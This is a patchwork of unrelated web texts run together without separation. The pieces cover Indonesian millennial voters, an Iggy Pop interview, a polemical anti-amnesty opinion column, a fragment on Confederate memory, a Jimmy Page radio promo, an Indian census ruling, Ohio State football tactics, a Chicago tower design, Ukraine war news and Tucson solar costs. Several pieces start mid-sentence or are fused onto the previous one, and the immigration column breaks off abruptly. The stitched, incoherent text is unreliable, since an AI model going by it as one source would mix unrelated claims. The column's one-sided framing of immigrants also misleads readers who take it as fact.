Indonesia has taken the first step towards the 2019 presidential election by announcing the nominees for presidential and vice presidential candidates on 10 August 2018. The 2019 election is a re-run of the 2014 presidential election between Joko Widodo and Prabowo Subianto. President Joko, also known as Jokowi, has appointed as his running mate Ma’ruf Amin, a conservative cleric from the Council of Indonesian Ulama (Majelis Ulama Indonesia, MUI) with a Nahdaltul Ulama background. On his part, Prabowo has chosen Sandiaga Uno, an entrepreneur and former vice governor of the capital city of Jakarta.
Although the presidential election will be held in April 2019, the supporters of the two candidates have since nomination day aggressively started to canvas for votes especially in social media. The millennial voters are potential targets due their significant numbers and their prolific use of the social media.
Internet-based Politics
The millennial population in Indonesia forms about 34.5% – 50% (ages 15-35). This is a very significant size and therefore a clear target group to win over. However, are both contenders aware and familiar with the aspirations of the millennial generation?
A strong characteristic of the millennials is their high literacy and engagement in the Internet. The Boston Consulting Group (BCG) and University of Berkeley in their 2011 research American Millennials: Deciphering the Enigma Generation identify the strong face of American millennials as digital natives. Some 57% of American millennials are among the first group who try new technology. Their online activity in uploading and making contents whether photos, blog, micro-blog, and others is high: 60%, compared to the non-millennials at 29%.
Research done in 2016 by Indonesia’s Alvara Research Centre indicates that Indonesian millennials have almost similar characteristics to their American counterparts. Indonesian millennials utilise digital sources to know and understand politics with a reliance on Twitter, Facebook, YouTube, Instagram and LINE-channels (instead of WhatsApp) shaping their perceptions on politics. Competing presidential candidates who practise textbook politics now need to get to grips with this new political phenomenon to achieve success
Pragmatic Concern
A perspective that Indonesian millennials embrace is whether or not politics are useful for their immediate needs, their innovative imagination and creativity. Idealism in politics, meaning a full commitment to political ideology whether it is leftist, Islamist or liberal, is not a common perspective among the politics of millennials. Millennials consider politics in terms of the concrete and direct impact for them.
The Indonesian media often portrays the country’s millennial generation as pragmatic people, and less interested in political idealism, by presenting the image of young successful professionals with breakthrough and smart business innovation such as the founders of Gojek and Tokopedia. Young politicians are hardly covered in the media as the representatives of the millennial generation. However, despite their pragmatism, Indonesian millennials are not apolitical.
In fact, the Indonesian Muslim millennials are very critical of the current ruling administration as evident in their prominence in the #2019GantiPresiden (#2019ChangePresident) movement. They do join in the movement, although sometimes they join without thinking about what is the next precise agenda. Presidential candidates should recognise this trend and find ways to transform their political strategies.
Importance of Religion
The Pew Research Centre survey discovered that African-American millennials are more religious than their peers. This survey is interesting because it mirrors the general inclination of Indonesian millennials. Indonesian millennial Muslims preserve and have a deep commitment to their Islamic doctrines.
However, in studying religion, they draw materials from online sources rather than from authoritative institutions and experts knowledgeable in the study of religion. There is a tendency for them to be attracted to conservative groups of the Islamic congregation. Many newly established-Islamic congregations have a membership base dominated by the millennial generation.
This tendency is quite alarming for the future of moderation in Indonesian Islam, therefore, both Jokowi and Prabowo should approach these groups, not only to win their hearts and minds but also to steer Indonesian Islam on the path of moderation.
Expecting More Positive Role
There is an assumption that the millennials will not use their rights to vote in the 2019 presidential election due their apolitical attitudes. This assumption could not be used as a reason to ignore their significance. It will be a big loss for Indonesia if both Jokowi and Prabowo disregard the influence of the millennials in the 2019 presidential election. How can democracy be preserved in a situation in which the significant number of Indonesian citizens are politically indifferent?
How will the two presidential candidates shape their campaign strategies to reach out to the millennials for the legislative and presidential elections? The participation of the millennials in the coming elections – both in the legislative and presidential contests — is needed to sustain democracy.
*Syafiq Hasyim is a Visiting Fellow at the Indonesia Programme of the S. Rajaratnam School of International Studies (RSIS), Nanyang Technological University (NTU), Singapore. This is part of an RSIS series on the 2019 Indonesian presidential election.Iggy Pop and Josh Homme (of Queens of the Stone Age and Eagles of Death Metal) will release their collaborative new album Post Pop Depression on March 18 via Loma Vista. Iggy sat down with Beats 1's Matt Wilkinson, and during the interview, he was asked about what comes after this album. His answer? "I feel like I'm closin' up after this."
He didn't entirely rule out the possibility of another record, but said his "gut instinct" told him that this would probably be the last one. "To really make a real album, you really have to put everything into it. The energy's more limited now. I may be surprised."
Watch an excerpt of the interview below via Noisey and watch the entire interview about the album's creation here.I’m old enough to remember when amnesty shills were promising that illegal aliens would become a fabulous source of tax revenue as soon as they were legalized.
We were sternly commanded to ignore all those studies showing the legalized alien population would be a staggering drain on our immense welfare state. The authors of such studies were torn to shreds for their alleged short-sightedness and xenophobia.
The amnesty shills, who spent years telling us illegal aliens were a poor and oppressed minority eking out a sparse existence from predatory employers while living miserably “in the shadows,” have recently spun on a dime and said to forget all that jive and believe their new party line that these “Americans-in-waiting” are far more productive than existing American citizens, including the chumps who waited in line for years to immigrate properly. Jeb Bush, to name a prominent example, often speaks as if he considers illegals qualitatively superior to Americans in their sense of family responsibility and work ethic, gingerly leaving the subject of their respect for the law to discuss another day.
Back here in the real world, everyone with a lick of common sense knew the amnesty critics were correct. Over the past few decades, we’ve built up a welfare state so gigantic, and so aggressive about recruiting new dependents, that plenty of native-born citizens with fairly decent jobs are now collecting benefits. Even if a staggering percentage of the amnestied population immediately found entry-level work – a highly dubious proposition even in a booming economy, never mind the anemic “recovery” that occasionally crawls ahead with a quarter of halfway-decent growth before collapsing in an exhausted heap – they’d still be a net drain on taxpayers.
To understand just how unlikely that best-case scenario is, consider that we’ve only had a couple of months in the entire Obama era where the overall American workforce actually grew. Even in months where the headlines blare that the official unemployment rate has dropped, the workforce has almost always declined as well. Introducing millions of new job-seekers into such an economy by Presidential fiat is irresponsible lunacy.
The amnesty crowd’s biggest swindle has already been exposed as a ridiculous lie: the illegals aren’t going to be paying any “back taxes” to “earn” their citizenship. They’re going to be able to collect money from the IRS through tax credits, up to $35,000 apiece. Now the Social Security Administration has confirmed that amnestied aliens will be able to collect benefits from it as well, as early as 2017.
We’re not talking about people stealing Social Security numbers and using them to scam benefits – that’s already happening, on an incredible scale, and the SSA doesn’t take even the simple precautionary measure of questioning how nearly four thousand people could be collecting benefits while claiming to be older than 113. Its system doesn’t even seem to have problems with a few thousand active Social Security clients who claim to have been born before the Civil War.
We learned about that crisis thanks to an inquiry from Senator Ron Johnson (R-WI), who also asked the SSA to run the numbers on how many of our New Americans would be collecting benefits legally after Obama illegally dismantles our citizenship laws. The chief actuary responded that he expects about 16,000 “New Americans” to begin collecting Old-Age, Survivor’s, and Disability Insurance benefits by 2017, with the total rising steadily over the next four decades until it hits 695,000.
As Ryan Lovelace at National Review observes, even this estimate is absurdly optimistic, because it assumes the flow of illegal aliens will decrease after 2016. In reality, we’ll be hit by wave after wave of new illegals looking for their piece of the amnesty pie.
The flow will only decrease if Obama’s successor is extremely vigorous about building nearly impregnable border security, and fast. We always get promises of such security, of course – we’ve been hearing them for decades, while a mighty host of aliens marched across the border and ostensibly checkmated our Ruling Class into making them citizens. The chances of it actually happening are not favorable.
Another rosy assumption on SSA’s part is that the government will |
and “vested rights” of Southerners, he declared, “are, in a moral point of view, unaffected by the result of the contest.”
This “Lost Cause,” Blight continues, “became an integral part of national reconciliation by dint of sheer sentimentalism, by political argument, and by recurrent celebrations and rituals.” By the 1890s, it formed the basis for national memory of the war, “a set of conservative traditions by which the entire country could gird itself against racial, political, and industrial disorder.” Expressed in academia by the work of pro-Southern historians like William Dunning and popularized by The Clansman, Gone With the Wind, and other successful novels, the Lost Cause became the foundation for Southern memory of the war years and their aftermath.
When white Southerners returned the battle flag to view in the 1950s and 1960s—in defense of Jim Crow and in defiance of the federal government—they did so against this backdrop of Confederate memory. “Today I have stood, where once Jefferson Davis stood, and took an oath to my people,” said Alabama Gov. George Wallace in his infamous 1963 inaugural address. “It is very appropriate then that from this cradle of the Confederacy, this very heart of the great Anglo-Saxon Southland, that today we sound the drum for freedom as have our generations of forebears before us done, time and time again through history. Let us rise to the call of freedom-loving blood that is in us and send our answer to the tyranny that clanks its chains upon the South.”
The simple fact is the flag doesn’t have a different meaning. Its heritage is hate, and we can’t divorce it from Stephens or Wallace or any of the racists and terrorists it’s inspired. But we can place it in its proper context, as Southerners construct a more honest, and more inclusive, heritage. Luckily, this isn’t a new task. In places like Germany and the former Soviet bloc, artists, historians, and ordinary people have worked to place their recent past in context, as both a memorial to victims and as a reminder of local contributions to the uglier parts of human history. In addition to major installations like the Memorial to the Murdered Jews of Europe, there are also smaller projects; since 1997, one German artist has installed small cobblestone memorials in front of the last known residences of the Holocaust dead and other victims of Nazism.
By definition, these projects are contentious. In Eastern and Central Europe, the push to commemorate and memorialize the victims of Soviet communism has brought disputes around the scope and content of these efforts. To emphasize national resistance—the Hungarian revolution of 1956 for example—is also to look away from the people who collaborated or just tried to live their lives. And there’s also the question of what to do with communist-era monuments to the heroes of communist governments. Should those stand? Or should they be removed and brushed into the ash heap of history?
There’s no way to escape these questions or the broad challenge and heartache of crafting a new narrative—a new way for people to see and understand their history. At the same time, we don’t have to knock down Monument Avenue in Richmond or demolish Stone Mountain in Georgia to construct a more honest history of the South. The Whitney Plantation in Louisiana was transformed into a museum of slavery to illustrate the reality of the institution. Other plantations could follow suit, de-emphasizing the lives of the planters and emphasizing those of black Americans. After the Charleston shootings, a statue of John C. Calhoun—famous defender of slavery in the antebellum South—was marked with “racist” in spray paint. I understand the sentiment, but we don’t need vandalism to add context to Calhoun and emphasize his disgraced place in the hall of American politicians.
Beyond flags and statutes, we can work to resurrect and uncover a broader history of the South, to include moments—and people—we’ve forgotten. For instance, with the Equal Justice Initiative, Bryan Stevenson is illuminating our history of lynching, part of a larger project of researching—and marking—our sites of racial injustice.
There’s room for pride in Southern history too. Instead of Robert E. Lee, future Southerners might esteem Cassius Marcellus Clay, a onetime Kentucky slaveholder who embraced the abolitionist cause and became a fierce advocate against slavery, risking his fortune and his reputation for the sake of human freedom. Or they might learn more about Angelina and Sarah Grimke, two South Carolina sisters born into wealth and influence who turned their backs on their class to preach abolition. There’s men like Robert Smalls, the former slave who commandeered a Confederate vessel, rescued his family, escaped to freedom, and served as one of the first black Americans in the House of Representatives; George Henry Thomas, a Virginia-born general who, unlike Lee, fought for the Union; and James Longstreet, a Confederate general who, after the war, embraced Reconstruction and even led a black militia against an armed mob of white vigilantes.
Toward the end of his eulogy, President Obama quoted Clementa Pinckney on the South and its relationship to history:
Rev. Pinckney once said, “Across the South we have a deep appreciation of history. We haven’t always had a deep appreciation of each other’s history.” What is true in the South is true for America. Clem understood that justice grows out of recognition of ourselves in each other. That my liberty depends on you being free too. That history can’t be a sword to justify injustice, or a shield against progress, but must be a manual for how to avoid repeating the mistakes of the past. How to break the cycle. A roadway towards a better world.”
It will take hard work, struggle, and even acrimony to build a more inclusive heritage for the South. But as we’ve seen, and continue to see, it’s necessary and possible.Jimmy Page on SiriusXM's 'Town Hall'
LED ZEPPELIN guitarist JIMMY PAGE will sit down for an exclusive chat with listeners on SIRIUSXM's 'TOWN HALL" series, this FRIDAY, NOVEMBER 7th.
“SIRIUSXM’s TOWN HALL WITH JIMMY PAGE” will feature the ROCK AND ROLL HALL OF FAME axeman answering questions from a studio audience about his career, from his earliest days as a session player, then on to his years with the YARDBIRDS to his legendary work as acclaimed guitarist for LED ZEPPELIN and through various collaborations and solo work. Remastered reissues of the band's "LED ZEPPELIN IV" and "Houses of the Holy" were just released last week, with additional content.
“SIRIUSXM’s TOWN HALL WITH JIMMY PAGE” will air on tomorrow at 3p (ET) via satellite on CLASSIC VINYL channel 26, and through the SIRIUSXM Internet Radio App on smartphones and other connected devices, as well as online at siriusxm.com. For rebroadcast times, please visit www.siriusxm.com/townhall.
“JIMMY PAGE was the nucleus of two of the most historic and legendary rock and roll bands of all time," SIRIUSXM Pres./Chief Content Officer SCOTT GREENSTEIN said. "We can't wait to hear from him directly about the incredible stories and histories of the YARDBIRDS and LED ZEPPELIN as well as his latest projects a photographic autobiography: 'Jimmy Page By Jimmy Page' and the newly remastered deluxe editions of 'Led Zeppelin IV' and 'Houses of the Holy'.".
After the broadcast, “SIRIUSXM’s TOWN HALL WITH JIMMY PAGE” will be available on SIRIUSXM On Demand for subscribers listening via the SIRIUSXM Internet Radio App for smartphones and other mobile devices or online at siriusxm.com.
« see more Net NewsINDIA'S Supreme Court criticised the country's Census for grouping housewives with prostitutes, beggars and prisoners in the survey's "economically non-productive" category, The Times of India reported overnight.
The censure came as two justices agreed to increase the compensation awarded to a man whose wife died in an accident.
"This bias is shockingly prevalent in the work of Census," Justice A K Ganguly said. "In the Census of 2001, it appears that those who are doing household duties like cooking, cleaning of utensils, looking after children, fetching water, collecting firewood have been categorised as non-workers and equated with beggars, prostitutes and prisoners who, according to Census, are not engaged in economically productive work."
The court said that a wife’s management of household affairs and her care for her children cannot be compared with other professions.
"A wife/mother does not work by the clock. She is in constant attendance of the family throughout the day and night unless she is employed and is required to attend the employer's work for particular hours," the court said.
"She takes care of all the requirements of husband and children including cooking of food, washing of clothes, etc. She teaches small children and provides invaluable guidance to them for their future life."
The Indian national Census takes place every ten years. The 2010 Census, which began in April, will cover 1.2 billion Indians, making it the biggest ever attempted.A young Ohio State team outperformed nearly all expectations in its long-anticipated road matchup with Michigan State. The Buckeyes combined masterful offensive game planning and execution with timely defensive stops en route to a convincing victory.
In so doing, Ohio State received career performances from numerous players. But none more than their redshirt freshman quarterback JT Barrett -- who answered any questions about how he would perform against a top 10 defense.
Painting a Picasso
Urban Meyer and offensive coordinator Tom Herman's unveiled a superb game plan that effectively responded to, and took advantage of weaknesses in Michigan State defensive coordinator Pat Narduzzi's 4-3 over, cover 4 defense.
Herman and Meyer began by stretching the Spartans' defensive backs horizontally. Cover 4 is equivalent to a matchup zone in basketball. But when two receivers to one side release vertically, it becomes man coverage. The corner and safety are responsible for the number one and two receivers, respectively.
Cover 4 requires a lot from defensive backs -- both in pattern reading and coverage skills. As discussed, the Michigan State defense has been susceptible this season to allowing explosive plays, owing to an inexperienced field corner and boundary safety.
Because those defensive backs had to defend vertical routes with man coverage, they had to provide sufficient cushion to the Ohio State wide receivers -- particularly Devin Smith. So Herman and Meyer exploited these Spartans defenders in executing their cover 4 principles by attacking underneath that cushion with vertical stem routes. On the first drive Herman solely dialed up passes -- namely hitch routes off play-action and packaged plays that were open underneath the retreating corners.
Herman next turned to the inside run game. As with previous opponents, Michigan State was particularly focused upon the Buckeyes' tight zone read play. So Herman used the play sparingly and turned to the counter tackle wrap or dart play, using the Spartans linebackers' aggressiveness against them.
For the rest of the contest, Herman mixed runs with horizontal throws. Just as they responded to Michigan State's cover 4, the Buckeye coaching staff had a plan to address Narduzzi's front seven in both run and pass blocking -- namely gap blocking.
One favored tactic of Narduzzi is a double A-gap linebacker blitz. Such a play could have been effective against the Ohio State tight zone run game that aims for the A-gaps. And the Buckeye offensive line struggled earlier this season with blitz recognition and protection.
Gap blocking alleviated both problems. With gap blocking, every front side lineman blocks down to their inside gap while a backside guard, tackle, or tight end pulls and kicks out, leaving every blocker responsible for one gap. (H/T: Smart Football).
Against Michigan State, by only having to account for a single gap the offensive line's need for blitz recognition was reduced. It allowed the Buckeyes to readily account for every gap and block whoever may appear, particularly from the inside out. And it created angles to make things easier.
This applied to both the run and the pass. As noted, with the run game, the Buckeyes largely eschewed its base tight zone read play and relied heavily upon gap blocking. The extensive use of tackle wrap is one such example. So was the Buckeyes' repeated use of power and QB counter trey. These plays, along with lead quarterback outside zone, had the added benefit of getting Ohio State outside any potential Michigan State inside linebacker blitz to the C and D gaps, where they could conflict the safeties who have force responsibilities.
Likewise, the Buckeye passing game relied heavily upon a play-action gap scheme.
As with the run game, either the backside guard (often Pat Elflein) or tight end would block across the formation. Or if the tight end was aligned on the line of scrimmage the protection would slide to the open side. After carrying out his fake, the tailback was responsible for picking up any edge blitzer away from the pulling blocker.
In action:
Not only did six and seven man protections ensure that every gap was covered against Narduzzi's blitz-heavy scheme, but play action is most effective with a pulling guard, as the run fakes helped hold the Michigan State safeties. And between half-rolls and sprint out passing, Herman altered Barrett's launch point and limited Barrett's reads, allowing Barrett to establish a rhythm.
Once Herman and Meyer stretched the Spartan defense horizontally, they took their shot to Smith. With Narduzzi's quarters scheme, the aggressive safety play will provide several deep opportunities. Michigan State's boundary safeties have been vulnerable to getting caught up in underneath action and allowing receivers behind them.
As Kyle discussed, Meyer and Herman schemed to put Smith against that safety by bumping him into the slot. The play-action fake flat footed the deep defender, allowing Smith to accelerate by him. Barrett made a perfect throw and Smith ran to the football.
Effective Efficiency
As critical to the Buckeyes' offensive output was its short-yardage and goal line success. Ohio State has struggled at times in short yardage this season, as opponents have schemed to take away the Buckeyes' up-tempo, tight zone run.
But against Penn State the Buckeyes solved this issue by running quarterback split zone from an empty backfield. The Buckeyes continued utilizing quarterback split zone against Michigan State -- with great success. With split zone, the offensive line blocks tight zone. The tight end blocks back against the weak side defensive end, creating a natural cutback lane.
After several successful attempts the entire stadium knew the play was coming. But the Buckeyes repeatedly converted through spreading the field, controlling the defensive interior -- and through superb short-yardage running from Barrett, who is effective in short yardage because he runs north and south and keeps his legs churning.
As a result, the Buckeyes had 100% percent efficiency in converting short yardage and goal line opportunities -- resulting in a significant difference in offensive output compared to Penn State.
Bringing your A-Game
Short yardage running was but one aspect of Barrett's outstanding performance. Questions remained about how Barrett would perform against Michigan State, given his struggles against the two top-10 defenses he faced in Virginia Tech and the Nittany Lions.
Barrett quickly answered any questions. He was decisive in his progressions and threw in rhythm. He trusted his blockers with blitz pick-up and stepped up in the pocket. And when he throws with timing he delivers an accurate, catchable ball.
And Barrett was equally successful as a runner. His effectiveness comes from his skillful economy of movement. When he commits to run he plants his foot, makes one cut, and runs north and south. He is a big, strong runner, and his commitment to getting upfield both leads to him eating up yards and makes him effective in short-yardage. So although he is not the flashiest runner, he consistently produces explosive plays in the run game.
The Buckeyes' also received significant contributions from their most critical skill players. Ezekiel Elliot played the best game of his young career. Throughout this season Elliot has gained significant yardage after contact.
But he had very few explosive plays. Because he was running with so much forward lean, he was missing potential cutbacks and getting tripped up in the secondary.
That changed Saturday. Elliot ran more upright, and used stellar vision and acceleration to accumulate four runs over 15 yards.
Perhaps even more importantly, Elliot is already one of the best pass blocking running backs in football. Time and again Elliot would come across the formation in the Buckeyes' slide protection and pick up the blitz, allowing Barrett to step up to deliver the football. The difference from Penn State was, on Saturday, Barrett trusted his protection would handle the Michigan State pass rush.
And Barrett received critical help from his two primary receivers -- Michael Thomas and Devin Smith. In contrast to last season, where the Buckeye wide receivers failed to beat Michigan State's press coverage, on Saturday Ohio State wide receivers won at the line of scrimmage and gained yards after the catch.
Smith in particular controlled the game in the first half. The Spartans could not both play their base cover 4 and defend Smith. Field corner Darien Hicks had to provide Smith sufficient cushion, allowing Smith to catch easy hitch routes early. And he then still beat the Michigan State defensive backs vertically. In the last two weeks, Smith has played more physically, aggressively going up and catching the football with his hands,.
But no group deserves more praise than the Ohio State offensive line. As Meyer stated post-game, left guard Billy Price -- who has been the most inconsistent in pass protection -- was once beaten up front early.
But such problems were otherwise non-existent. The biggest improvements have come from the interior offensive line. Center Jacoby Boren, Elflein, and Price controlled the line of scrimmage -- particularly in short yardage -- and eliminated any inside pass rush. All three graded a champion, with Boren receiving his second consecutive player of the game award. The improvement of players such as Boren has been nothing short of meteoric and offensive line coach Ed Warriner deserves serious consideration for offensive assistant of the year.
Punch and Counterpunch
On defense, coordinator Chris Ash modified the cover-4 looks he uses for spread offenses to defend the more pro-style Spartans. As is his wont, Ash utilized more single high, cover-1 robber looks.
The biggest adjustment was with his corners. Doran Grant normally aligns to the boundary, with Eli Apple the field corner. But on Saturday, Ash had Grant follow Spartan wide receiver Tony Lippett around the field.
Despite the Ohio State changes, Michigan State was able to periodically move the football through several wrinkles. Apple was limited by a hamstring injury and did not start. On the first drive the Spartans took advantage of his replacement Gareon Conley, beating Conley over the top and to the flat for the game's first score. On the next drive Apple quickly returned.
The Spartans also took steps to combat the Buckeye defensive line. Michigan State generally chipped or doubled Joey Bosa.
Michigan State then used the Buckeyes' defensive tackles' aggressiveness against them. Michael Bennett in particular was able to get penetration. So the Spartans influenced Bennett up-field and trapped him.
In so doing, the Spartans created run lanes by creating separation between the defensive line coming upfield and the linebackers. Michigan State succeeded running the football because the Buckeye inside linebackers remain somewhat slow in their reads and coming downhill. The Ohio State tackling was also sub-par compared to previous weeks.
And Michigan State's 14 play, second quarter touchdown drive was made possible by utilizing quarterback Connor Cook in the run game to pick up critical third downs.
Making Plays When Need Be
Although far from perfect, the Buckeye defense kept an explosive Spartans offense in check for critical stretches -- particularly in the second and third quarters while Ohio State built its lead.
Several players were critical to this effort. Despite Michigan State's efforts to block him, Bennett made several crucial tackles for loss. But no play was more important than Grant. He was excellent in coverage, preventing Lippett from creating any explosive plays, which has been the Spartans' primary method to score points.
As a result, Ohio State forced Michigan State to drive the length of the field. And in doing so, the Buckeyes rendered Cook and the Spartans' passing game sufficiently insufficient to stop several drives.
Michigan State did score two fourth quarter touchdowns with relative ease once the Buckeyes went up by three scores. This resulted from a combination of playing softer zone coverages, an inability to get to Cook, Conley's return in place of Apple, and some questionable calls on the Spartans' last touchdown drive. Although frustrating, the goal was to force Michigan State to use clock driving the length of the field.
So while not perfect, the fourth quarter should not negatively color an otherwise solid effort. And the defensive performance would have looked far better if they converted any of the potential turnovers that were there for the taking.
X's and O's -- and Jimmy and Joes
Although Meyer and Herman deserve credit for an stellar game plan it was not significantly different than their plan for Michigan State last season. The difference was that last season the passing game -- from blitz protection, to throwing, to wide receiver separation -- was inconsistent against a stronger Spartans' defense. When you are throwing on first down, the difference between completing the throw and getting to second and three, and having an incompletion leading to second and ten, is enormous.
On Saturday the Buckeyes executed to near-perfection. From hitch routes, to bubble screens, to the run game, the Buckeyes ran those plays with timing and precision. To lose the turnover battle 2-0, not significantly flip field position (perhaps outside of a Jalin Marshall punt return) and yet score 49 points against a top five defense was one of the better offensive performances in recent memory.
The Buckeyes must now quickly move past that win to prepare for a road game against a solid Minnesota team. In particular, the run defense will have an opportunity for improvement against David Cobb and the Golden Gophers' ground game.Look up at the sun. (Ouch!) Now look down at the ground. (Ahhh.) That pretty much sums up architect Jeanne Gang's breathtakingly simple approach to reducing energy use in Windermere West, a 26-story condominium destined for Chicago's Hyde Park neighborhood. She tilted two-thirds of the south-facing floor-to-ceiling windows away from the sun, letting the structure make its own shade — no duckbill protrusions required. It's mainly a summertime strategy: The hottest sun of the year is also the highest in the sky — and typically coincides with the most expensive electricity. The sawtooth design creates balconies that block direct midday sun, decreasing the need for power-hungry air-conditioning. In winter, when the sun is lower, rays pass through the windows to warm the interior. Gang worked with engineering powerhouse Arup to calibrate the facade. Using a computer model, they gradually angled the glass until they hit the sweet spot — skewed enough to keep living rooms from baking, but not so much that they feel like the inside of a boat. The magic number for Chicago's latitude? Exactly 71 degrees. Which should also be the temperature inside.
Play Previous: Pixels, Not Parables, for Cologne Cathedral's Stained Glass Window Next: Stanford's New Dorm: Enviably GreenMedia playback is unsupported on your device Media caption This footage was captured by local resident Julia Dzuba as shelling neared her apartment in Kramatorsk on Tuesday. Some may find it distressing
Fighting has surged in eastern Ukraine as government forces and pro-Russian rebels try to make gains ahead of expected peace talks on Wednesday.
Rebels carried out rocket attacks on a key military base and a residential area in Kramatorsk, officials say, killing at least seven civilians.
Meanwhile, Ukraine's volunteer Azov battalion has launched an offensive against separatists around Mariupol.
More than 5,400 people have died since the conflict began last April.
Ukraine and the West accuse Russia of sending troops and arms to support the rebels, but Russia denies this.
'Strong will'
The leaders of Ukraine, Russia, France and Germany are due to meet in the Belarusian capital Minsk on Wednesday to hammer out a peace deal after months of fighting.
The summit is expected to focus on the creation of a demilitarised zone and the withdrawal of heavy weapons.
French President Francois Hollande said he was going to Minsk with the "strong will" to get a deal.
The White House says US President Barack Obama spoke with Ukrainian President Petro Poroshenko on Tuesday ahead of the proposed talks.
Mr Obama has refused to rule out supplying "lethal defensive weapons" to Ukraine if diplomacy fails, but Russia has warned that such a move would worsen the crisis.
Image copyright AFP Image caption Residents in Kramatorsk gathered to examine a rocket stuck in the ground after Tuesday's shelling
Earlier, President Poroshenko told parliament that the government's military headquarters at Kramatorsk airfield had been shelled by rebels.
At least seven people were killed and 16 wounded when a residential area was also hit, the government-controlled Donetsk regional administration said. Ten people were injured at the military base, it added.
Kramatorsk, some distance west of the current conflict zone, was the scene of major fighting until July, when pro-Russian separatists retreated.
'Much worse'
Local authorities said the rockets were fired from the rebel-controlled Horlivka area, which is about 50km (30 miles) away from the city. The separatists denied firing the rockets.
Julia Dzuba, a resident of Kramatorsk who caught the shelling on film as it neared the apartment she lives in with her young child, told the BBC: "I was online, reading news, and then I heard boom, boom!"
"This is much worse than last summer," she said. "[T]hey are shooting at each other, and we are the ones who suffer."
Rival agendas at Ukraine talks
Ukraine: Restore government authority over breakaway areas, though Donetsk and Luhansk regions could get greater self-rule; disarm rebel forces; withdrawal of Russian troops; restore Kiev's control over Ukraine-Russia border; full prisoner exchange.
Pro-Russian rebels: Separation from rest of Ukraine and recognition of "people's republics" of Donetsk and Luhansk; no disarmament of separatist forces; amnesty for separatist leaders.
Russia: Legal guarantees for rights of Russian-speakers in eastern Ukraine; full autonomy for Donetsk and Luhansk in a federal system - not necessarily independence; no return of Crimea to Ukraine; withdrawal of Ukrainian troops from combat zone.
EU and US: Restore Ukraine's territorial integrity; end Russian intervention in eastern Ukraine - withdrawal of all Russian troops and heavy weapons; effective monitoring of Russia-Ukraine border and demilitarised zone between the combatants; full democracy in Donetsk and Luhansk.
Image copyright Reuters Image caption Kramatorsk was the scene of fierce fighting in 2014 but it some way from the current conflict zone
The surge in fighting comes a day after separatists said they had cut off a key supply road to Debaltseve, a railway hub near the rebel-held city of Donetsk. The military says the battle is ongoing.
The BBC's James Reynolds in Donetsk says the intense clashes are a sign that both sides want to go into the Minsk talks holding as much territory as they can.
Earlier, the commander of an ultra-nationalist volunteer group loyal to Kiev said its forces, which are based in Mariupol, were advancing on pro-Russian rebels outside the southern port city.
"We have taken the villages of Shyrokine, Pavlovo, Kominternovo. We are currently moving towards Novoazovsk," Andriy Biletsky, commander of the Azov battalion, told the BBC.
The advance comes just days after Ukraine said rebels were massing forces for attacks on strategic towns, including Mariupol, which lies between rebel-controlled areas and the Crimean peninsula.
Russia's Ria news agency reported on Tuesday that more than 600 Russian troops had started exercises in Crimea, which was annexed by Russia last year.
Image copyright AP Image caption Mariupol is in a highly strategic position, sitting between rebel-held eastern areas and Crimea
Image copyright EPA Image caption A Moscow court extended the detention of Ukrainian pilot Nadiya Savchenko on Tuesday
In another development, a court in Moscow extended the detention on Tuesday of Nadiya Savchenko, a Ukrainian military pilot who is accused of killing of two Russian journalists in eastern Ukraine last year.
Ms Savchenko, who is seen as a national hero in Ukraine, has been on hunger strike since December to protest against what her lawyers call absurd and politically-motivated charges.
She ended up in Moscow after being captured by rebels near Luhansk. Ukraine has accused Russia of abducting her and has demanded she be released and allowed to go home.
Ukraine's war: The human cost
5,486 people people killed and 12,972 wounded in eastern Ukraine
Fatalities include 298 people on Malaysia Airlines flight MH17 shot down on 17 July
263 civilians killed in populated areas between 31 January and 5 February
5.2 million people estimated to be living in conflict areas
978,482 internally displaced people within Ukraine, including 119,832 children
600,000 fled to neighbouring countries, of whom more than 400,000 have gone to Russia
Source: Figures from UN report, 6 FebruaryI’m visiting the wonderful folks from Sustainable Tucson in Arizona next week to talk about the opportunities that solar and clean energy offer their local economy. In preparation, I’m looking at their current monopoly electricity provider, Tucson Electric Power. Remarkably, the utility acquires just 4% of its electricity from renewable resources (and over 70% from coal), despite being at the heart of the best sunshine in the country. The red arrow shows Tucson on this map of the nation’s solar resource.
Update February 26, 2015: added responses from Tucson Electric Power, corrected labeling error in chart
Update February 12, 2015: published assumptions for System Advisor Model calculations
Despite a world-class resource, the city’s utility intends to avoid major solar investment by pretending it is too costly.
The utility’s 2014 resource plan suggests that it hasn’t grasped (or refuses to seize) the opportunity. Although they forecast growth in renewable energy by 600 megawatts (MW) in the next 15 years, it’s only half the capacity increase they intend for natural gas (1200 MW).
Why shortchange solar? It’s pretty easy when you dramatically exaggerate its cost.
In TEP’s integrated resource plan for 2014, they estimate the cost of new natural gas generation between $88 and $119 per megawatt-hour (or 8.8 to 11.9 cents per kilowatt-hour, the unit of measure for residential consumption). For solar generation, they suggest, the cost is over 16 cents per kilowatt-hour (kWh).
But for a sunshine resource, TEP’s calculation is a bit shady.
For starters, it includes a component for “system integration and backup costs” for 5.2 cents per kWh. This means that TEP implies it must build or buy backup generation for any moment that the sun is not shining at maximum capacity.
Here are several reasons that this line item is total crap:
Traditional power plants are also unavailable at times––these are “unplanned outages” in utility-speak––but the utility doesn’t build two power plants for every one it uses. It has a “reserve margin”––power plants available on standby in the event of a major outage. The reserve margin for the regional grid (the Western Electricity Coordinating Council) is over 33% of the system peak demand. In other words, there are loads of power plants already built and available for backup. [note: TEP suggests that their transmission line connection to other utilities are constrained, and that they operate more like an island. They did not disclose what their own backup/reserve margins are.]
Utility systems are already built to handle a large amount of minute-to-minute variability. If intermittent clouds over solar could bring down the grid, then so could the cycling of refrigerators or air conditioners.
Utility systems are already built to handle variability from day to day, but much of solar’s variability is predictable. After all, we know when the sun rises and sets.
Solar’s output tends to follow system peak usage––its best output is on hot, sunny summer afternoons when the electricity system is near its peak utilization. Half the output from a solar array with a tracker (e.g. it follows the sun from east to west) comes during summer peak load on TEP’s system.
Grid engineers agree that there may be a moment in time when grid integration costs are non-zero for solar, but it will require unprecedented amounts of solar on the grid (upward of 15% or more of total energy supply). Even at this level, simple solutions like geographic dispersion of solar arrays can cut integration and backup costs by 100-fold.
In other words, TEP has falsely inflated the cost of solar by 45% percent.
